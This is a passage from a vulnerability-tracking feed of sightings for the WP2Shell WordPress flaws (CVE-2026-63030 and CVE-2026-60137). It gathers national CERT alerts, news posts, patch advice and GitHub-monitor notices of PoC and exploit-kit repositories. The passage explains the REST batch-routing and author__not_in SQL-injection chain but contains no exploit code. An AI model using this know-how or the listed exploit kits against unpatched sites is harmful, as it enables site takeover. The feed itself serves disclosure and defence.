"72dbbeaa-a8a1-4540-aaf2-8c25caf98073", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-scan\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a InstaWP\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 06:27:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDetect & clean up wp2shell (CVE-2026-63030) WordPress compromise \u2014 bulk-runnable, read-only by default\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94261"}, {"timestamp": "2026-07-20T08:25:07.004Z", "date_only": false, "value": "2026-07-20T08:25:07.004881Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mr2umgiun227", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0d2d60b0-de86-40c6-b1c5-11a65384f546", "content": "\ud83d\udd17 CVE : CVE-2026-60137, CVE-2026-63030", "url": "https://bsky.app/profile/o2cloud.bsky.social/post/3mr2umgiun227"}, {"timestamp": "2026-07-20T08:50:41.731Z", "date_only": false, "value": "2026-07-20T08:50:41.731951Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/toxy4ny.bsky.social/post/3mr3xki4pck26", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9aa4c18a-4d24-40da-90a9-c6439c1d4f5a", "content": "Monday\u2019s fuck up - This Time - Wordpress - WordPress Core \"wp2shell\u201d RCE. The attack consists of two flaws, tracked as CVE-2026-63030 and CVE-2026-60137, that can be chained together to achieve pre-authentication remote code execution against WordPress github.com/Icex0/wp2she... #exploit #wp #cve", "url": "https://bsky.app/profile/toxy4ny.bsky.social/post/3mr3xki4pck26"}, {"timestamp": "2026-07-20T08:52:22.957Z", "date_only": false, "value": "2026-07-20T08:52:22.957956Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cert-fr.bsky.social/post/3mr2w56ltyi2p", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9bcb707f-466e-4425-be03-648633ef33d9", "content": "\u26a0\ufe0fAlerte CERT-FR\u26a0\ufe0f\n\nLes vuln\u00e9rabilit\u00e9s CVE-2026-60137 et CVE-2026-63030 affectent WordPress et permettent une ex\u00e9cution de code arbitraire \u00e0 distance non authentifi\u00e9e.\nUne preuve de concept est disponible.\n\nwww.cert.ssi.gouv.fr/alerte/CERTF...", "url": "https://bsky.app/profile/cert-fr.bsky.social/post/3mr2w56ltyi2p"}, {"timestamp": "2026-07-20T08:52:24.569Z", "date_only": false, "value": "2026-07-20T08:52:24.569198Z", "kind": "sighting", "label": "Seen", "source": "https://social.numerique.gouv.fr/users/cert_fr/statuses/116951452309188132", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9bb386c1-6913-4f55-820b-3ea48191101c", "content": "\u26a0\ufe0fAlerte CERT-FR\u26a0\ufe0f\nLes vuln\u00e9rabilit\u00e9s CVE-2026-60137 et CVE-2026-63030 affectent WordPress et permettent une ex\u00e9cution de code arbitraire \u00e0 distance non authentifi\u00e9e.Une preuve de concept est disponible.\nhttps://www.cert.ssi.gouv.fr/alerte/CERTFR-2026-ALE-007/", "url": "https://social.numerique.gouv.fr/users/cert_fr/statuses/116951452309188132"}, {"timestamp": "2026-07-20T08:58:23.154Z", "date_only": false, "value": "2026-07-20T08:58:23.154387Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/decio/statuses/116951475979751457", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a8fb71f1-483f-45fa-be33-c227c08e7e14", "content": "\u26a0\ufe0f Si vous administrez un site WordPress ou si vous connaissez quelqu\u2019un qui en g\u00e8re un faites passer l\u2019information.\nUne vuln\u00e9rabilit\u00e9 critique baptis\u00e9e WP2Shell touche directement le c\u0153ur de WordPress. \nCette fois, il ne s\u2019agit pas d\u2019un plugin abandonn\u00e9 ou d\u2019un th\u00e8me douteux : une installation standard peut \u00eatre attaqu\u00e9e \u00e0 distance, sans compte utilisateur, sans mot de passe et sans authentification pr\u00e9alable. \nWP2Shell combine deux failles, CVE-2026-60137 et CVE-2026-63030, permettant \u00e0 un attaquant d\u2019ex\u00e9cuter du code sur le serveur et donc, potentiellement, de prendre le contr\u00f4le du site. \n-> Des tentatives d\u2019exploitation et des compromissions ont d\u00e9j\u00e0 \u00e9t\u00e9 observ\u00e9es dans la nature.\nSont notamment concern\u00e9es les versions :\n\u27a1\ufe0f WordPress 6.9.0 \u00e0 6.9.4\u27a1\ufe0f WordPress 7.0.0 \u00e0 7.0.1\nLes correctifs sont disponibles dans les versions 6.9.5 et 7.0.2. WordPress a activ\u00e9 des mises \u00e0 jour automatiques forc\u00e9es en raison de la gravit\u00e9 de la faille, mais il ne faut pas supposer qu\u2019elles ont forc\u00e9ment fonctionn\u00e9 : elles peuvent avoir \u00e9t\u00e9 d\u00e9sactiv\u00e9es, bloqu\u00e9es par l\u2019h\u00e9bergeur ou emp\u00each\u00e9es par une configuration particuli\u00e8re.\n\u00c0 faire rapidement:\n\u2705 v\u00e9rifier la version r\u00e9ellement install\u00e9e ;\u2705 mettre WordPress \u00e0 jour vers 6.9.5 ou 7.0.2 au minimum ;\u2705 confirmer que la mise \u00e0 jour s\u2019est correctement termin\u00e9e ;\u2705 v\u00e9rifier les comptes administrateurs, les fichiers r\u00e9cemment modifi\u00e9s et les journaux du serveur ;\u2705 rechercher d\u2019\u00e9ventuels fichiers PHP, plugins ou utilisateurs inconnus ;\u2705 s\u2019assurer que des sauvegardes propres et r\u00e9centes sont disponibles.\nEn attendant la mise \u00e0 jour, l\u2019acc\u00e8s anonyme aux routes REST suivantes peut \u00e9galement \u00eatre bloqu\u00e9 au niveau du WAF ou du serveur web :\n/wp-json/batch/v1?rest_route=/batch/v1\nPoint important : installer le correctif emp\u00eache une nouvelle exploitation, mais ne supprime pas une \u00e9ventuelle compromission d\u00e9j\u00e0 pr\u00e9sente. Si le site est rest\u00e9 expos\u00e9, une v\u00e9rification minimale est donc n\u00e9cessaire, m\u00eame apr\u00e8s la mise \u00e0 jour.\nUn site WordPress \u00ab qui fonctionne encore \u00bb n\u2019est pas n\u00e9cessairement un site sain : les attaquants cherchent souvent \u00e0 rester discrets pour installer une porte d\u00e9rob\u00e9e, d\u00e9tourner le trafic, diffuser du spam ou pr\u00e9parer d\u2019autres attaques...\n\ud83d\udd0d wp2shell.com , pour v\u00e9rifier si votre site est vuln\u00e9rable.\nDans les news:\"WP2Shell - La faille qui permet de pirater WordPress sans aucun plugin\"\ud83d\udc47 https://korben.info/wp2shell-exploits-prise-controle-wordpress.html\n\ud83d\udcac \u2b07\ufe0f https://infosec.pub/post/49724018\n#CyberVeille #WordPress", "url": "https://infosec.exchange/users/decio/statuses/116951475979751457"}, {"timestamp": "2026-07-20T10:00:04.936Z", "date_only": false, "value": "2026-07-20T10:00:04.936227Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94276", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e90ba518-e684-44cd-9e6d-ba24fdee6d09", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Crypto-Cat\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 08:26:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94276"}, {"timestamp": "2026-07-20T10:01:47.176Z", "date_only": false, "value": "2026-07-20T10:01:47.176867Z", "kind": "sighting", "label": "Seen", "source": "https://social.bund.de/users/bsi/statuses/116951719172634340", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9b44a00c-ebfc-4bd8-a8fc-c0c2585ec00a", "content": "\u26a0\ufe0f \ud83d\udce2 #Sicherheitswarnung: WordPress \u2013 Schwachstellen erlauben \"Remote Code Execution\"\nAm 17. Juli 2026 wurde seitens #Wordpress eine Aktualisierung bekannt gegeben, die zwei #Schwachstellen in der Wordpress-Software behebt.\n\u2757\ufe0f Die beiden Schwachstellen CVE-2026-60137 und CVE-2026-63030 erm\u00f6glichen einem nicht authentifizierten, entfernten Angreifer Code zur Ausf\u00fchrung zu bringen.\nMehr dazu hier: \ud83d\udc49\ufe0f https://www.bsi.bund.de/dok/1203360", "url": "https://social.bund.de/users/bsi/statuses/116951719172634340"}, {"timestamp": "2026-07-20T10:15:25.182Z", "date_only": false, "value": "2026-07-20T10:15:25.182851Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mr32rnd77l2i", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a49adabd-e7f5-47b0-bc87-38fff5d73699", "content": "Critical WordPress core flaws, CVE-2026-60137 and CVE-2026-63030, can be chained for unauthenticated access, SQL injection, and possible RCE. CERT-AGID reports suspicious API activity and new admin accounts. #WordPress #CERTAGID #Italy", "url": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mr32rnd77l2i"}, {"timestamp": "2026-07-20T11:00:03.991Z", "date_only": false, "value": "2026-07-20T11:00:03.991113Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/information_security_channel/55596", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0fba7d21-504c-441a-b30a-d95e8cde7fd6", "content": "WP2Shell WordPress Vulnerabilities Exploited in the Wild\nhttps://www.securityweek.com/wp2shell-wordpress-vulnerabilities-exploited-in-the-wild/\n\nExploitation of the new WordPress vulnerabilities tracked as CVE-2026-60137 and CVE-2026-63030 started soon after disclosure.\nThe post WP2Shell WordPress Vulnerabilities Exploited in the Wild (https://www.securityweek.com/wp2shell-wordpress-vulnerabilities-exploited-in-the-wild/) appeared first on SecurityWeek (https://www.securityweek.com/).", "url": "https://t.me/information_security_channel/55596"}, {"timestamp": "2026-07-20T11:00:21.748Z", "date_only": false, "value": "2026-07-20T11:00:21.748768Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mr35bzmuag2m", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "714f2b54-beff-48db-b539-56a005336636", "content": "WP2Shell flaws CVE-2026-60137 and CVE-2026-63030 are being exploited in the wild. Chaining them can enable unauthenticated remote code execution on stock WordPress installs. #WordPress #Cloudflare #CVE-2026-60137", "url": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mr35bzmuag2m"}, {"timestamp": "2026-07-20T11:21:31.397Z", "date_only": false, "value": "2026-07-20T11:21:31.397699Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mr36htygq62u", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3e542a98-e3df-4dce-8a37-7439721fbcfe", "content": "Just another Tuesday in the wonderful world of content management, where WP2Shell vulnerabilities CVE-2026-60137 and CVE-2026-63030 are already being actively exploited. This lovely headache affects WordPress site owners who dared to dream of a stable web presence without constan...\n\nRead full story", "url": "https://bsky.app/profile/cerberusit.bsky.social/post/3mr36htygq62u"}, {"timestamp": "2026-07-20T12:00:04.301Z", "date_only": false, "value": "2026-07-20T12:00:04.301575Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94292", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "881093bb-d4c3-459f-aecf-8017da1443b8", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a sxwp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SentinelXofficial\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 10:49:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress wp2shell pre-auth RCE exploit kit (CVE-2026-63030 + CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94292"}, {"timestamp": "2026-07-20T12:00:04.393Z", "date_only": false, "value": "2026-07-20T12:00:04.393022Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94291", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fa7066ee-174d-4e1e-b425-1f93fe8b6aef", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a OffByOn3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 10:59:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress REST API SQLi to RCE (CVE-2026-63030)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94291"}, {"timestamp": "2026-07-20T12:15:03.584Z", "date_only": false, "value": "2026-07-20T12:15:03.584984Z", "kind": "sighting", "label": "Seen", "source": "https://www.cert.at/de/warnungen/2026/7/kritische-sicherheitslucken-in-wordpress-updates-verfugbar", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d641ea73-0f00-4036-8305-119082254101", "url": "https://www.cert.at/de/warnungen/2026/7/kritische-sicherheitslucken-in-wordpress-updates-verfugbar"}, {"timestamp": "2026-07-20T12:37:02.284Z", "date_only": false, "value": "2026-07-20T12:37:02.284825Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mr3covfjrp2e", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "bc22206e-f406-419d-8f0b-353b7b5fa434", "content": "~Checkpoint~\nMicrosoft, WordPress, SonicWall patch actively exploited CVEs; Jscrambler npm supply chain attack steals credentials.\n-\nIOCs: CVE-2026-56164, CVE-2026-63030, CVE-2026-15409\n-\n#Ransomware #ThreatIntel #Vuln", "url": "https://bsky.app/profile/cyfar.ca/post/3mr3covfjrp2e"}, {"timestamp": "2026-07-20T13:00:03.998Z", "date_only": false, "value": "2026-07-20T13:00:03.998795Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94301", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6293b7d6-390d-47fc-8045-92f7ef8ed113", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 31  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 8\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 09:43:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNon-destructive detector + Docker lab for wp2shell (CVE-2026-63030 REST /batch/v1 route confusion + CVE-2026-60137 author__not_in SQLi) in WordPress core 6.9.0-6.9.4 / 7.0.0-7.0.1\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94301"}, {"timestamp": "2026-07-20T13:48:09.606Z", "date_only": false, "value": "2026-07-20T13:48:09.606345Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3mr3go2tdz42r", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8d472a65-21d5-4d2d-aced-f8bb348558f3", "content": "In-the-wild exploitation seen for the new WP2Shell WordPress vulnerabilities, officially tracked as CVE-2026-60137 and CVE-2026-63030.", "url": "https://bsky.app/profile/technology-news.bsky.social/post/3mr3go2tdz42r"}, {"timestamp": "2026-07-20T14:00:05.676Z", "date_only": false, "value": "2026-07-20T14:00:05.676912Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/8423", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7275c464-e979-4828-9f85-dace52afb2bf", "content": "\u0412 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0440\u0430\u0441\u0448\u0430\u0440\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 wp2shell, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u044f\u0434\u0440\u043e WordPress. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 WordPress 6.9.5 \u0438 7.0.2 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a wp2shell.\n\n\u0410\u0442\u0430\u043a\u0430 wp2shell \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - CVE-2026-63030 \u0438 CVE-2026-60137, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.x \u0438 7.0.x.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u0443\u044d\u0441\u043e\u043c \u0438\u0437 Searchlight Cyber, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0443 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0435\u0442 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u0438 \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 WordPress \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0430\u043c Searchlight Cyber, \u0431\u043e\u043b\u0435\u0435 500 \u043c\u043b\u043d. \u0441\u0430\u0439\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 WordPress, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441\u0435\u0439\u0447\u0430\u0441, \u043a\u043e\u0433\u0434\u0430 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WordPress \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0441 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438, \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2 \u0438\u043b\u0438 6.9.5.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0432 \u0434\u0432\u0443\u0445 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-63030, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0443\u044e\u0441\u044f \u0432 WordPress 6.9. \u041e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f CVE-2026-60137 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 author__not_in\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 WP_Query. WordPress \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e WordPress 6.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c WordPress, \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e 